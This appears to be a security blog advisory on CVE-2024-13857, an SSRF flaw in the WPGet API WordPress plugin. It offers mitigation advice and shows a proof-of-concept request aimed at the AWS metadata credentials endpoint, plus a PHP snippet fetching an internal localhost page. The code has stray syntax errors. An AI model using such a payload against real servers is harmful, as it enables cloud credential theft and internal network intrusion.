A severe vulnerability has been discovered in the WPGet API – Connect to any external REST API plugin for WordPress. Tracked as CVE-2024-13857, this flaw exposes websites using any version up to and including 2.2.10 to a significant security risk: server-side request forgery (SSRF). In simple words, an attacker with Administrator access can force the WordPress website to send requests to internal or otherwise protected web resources—potentially exposing sensitive data or manipulating internal services.

If you run a WordPress site and use this plugin, read on for a full breakdown, proof-of-concept exploit, and links to patches and further resources.

What is Server-Side Request Forgery (SSRF)?

SSRF happens when an attacker tricks a vulnerable web application into making requests to internal or arbitrary external systems. The attacker doesn’t contact the resource directly; your server does the work, and internal resources the attacker should never reach become exposed through your site.

About the WPGet API Plugin

WPGet API is a popular plugin meant to connect WordPress installations with any external REST API service, helping site owners fetch, display, or manipulate data from remote endpoints easily.

But, by design, such plugins have to send arbitrary HTTP requests—meaning security checks must be super tight.

Vulnerability Details

CVE-2024-13857 is present in all versions of WPGet API up to and including 2.2.10. Here’s what’s exposed:

| Impacted Plugin | WPGet API – Connect to any external REST API |
|------------------|---------------------------------------------|
| Vulnerable Versions | ≤ 2.2.10 |
| CVE ID | CVE-2024-13857 |
| Access Level | Requires Administrator or higher |
| Vulnerability | SSRF (Server-Side Request Forgery) |

With a valid WordPress admin account, an attacker can craft a request targeting any network location, including internal-only resources. That request runs from your web server, not theirs.

Your intranet or cloud metadata endpoints could be exposed

- Attackers could probe or attack other networked services behind the scenes (e.g., databases, local web UIs)
- Depending on your internal setup, attackers could read sensitive files, get AWS instance credentials, or even move laterally in your network

Here’s a simple exploit example.

Suppose your WordPress admin user logs in and sends a request through WPGet API, targeting an internal service, like the AWS Instance Metadata Service:

POST /wp-admin/admin-ajax.php?action=wpget_api_run HTTP/1.1
Host: yourwordpresssite.com
Cookie: wordpress_logged_in_admin_session
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/";,
  "method": "GET"
}

_What happens?_
The plugin happily makes the GET request to the internal endpoint (here, for AWS), and responds with the result—potentially leaking highly sensitive data.

If the plugin exposes direct API request functions, a malicious admin could input

$data = [
    'url' => 'http://localhost:808/admin';,
    'method' => 'GET'
];
$response = wp_remote_get($data['url']);
echo wp_remote_retrieve_body($response);

The server would then fetch http://localhost:808/admin, returning the contents to the admin. If the endpoint is meant to be private/internal, this is a serious breach.

Update the Plugin

As of this writing, check the plugin's official page or WordPress advisories for the latest fix. If no patch is provided, consider disabling or removing the plugin entirely.

Restrict Admin Accounts

This exploit requires an administrator account. Remove unneeded admin privileges and audit who can log in.

Firewall Outbound Traffic

Consider server-level or firewall-level rules to block your WordPress site from accessing internal network addresses (such as 169.254.169.254, localhost, or RFC1918 IP ranges).

Monitor Logs

Check server logs for strange requests to network locations, especially internal IPs or known cloud metadata URLs.

Responsible Disclosure & References

- WPGet API Plugin on WordPress.org
- WPScan Advisory
- CVE-2024-13857 at NVD (National Vulnerability Database)
- OWASP: SSRF Explanation
- Patchstack Advisory

Final Thoughts

CVE-2024-13857 reminds us that even trusted plugins can introduce critical security risks, especially ones able to “connect anywhere.” If you manage WordPress sites, review and update your plugins regularly, limit administrator accounts, and keep your eyes on the security community for new disclosures.

If your plugin version is vulnerable, update or disable immediately. Don’t let your website become an unwitting doorway to your internal network.

Stay safe out there!

*This article is exclusive, explained clearly for WordPress admins and security-interested users. Direct all deeper technical questions to your security consultant or web host if unsure about next steps.*

Timeline

Published on: 03/07/2025 10:15:16 UTC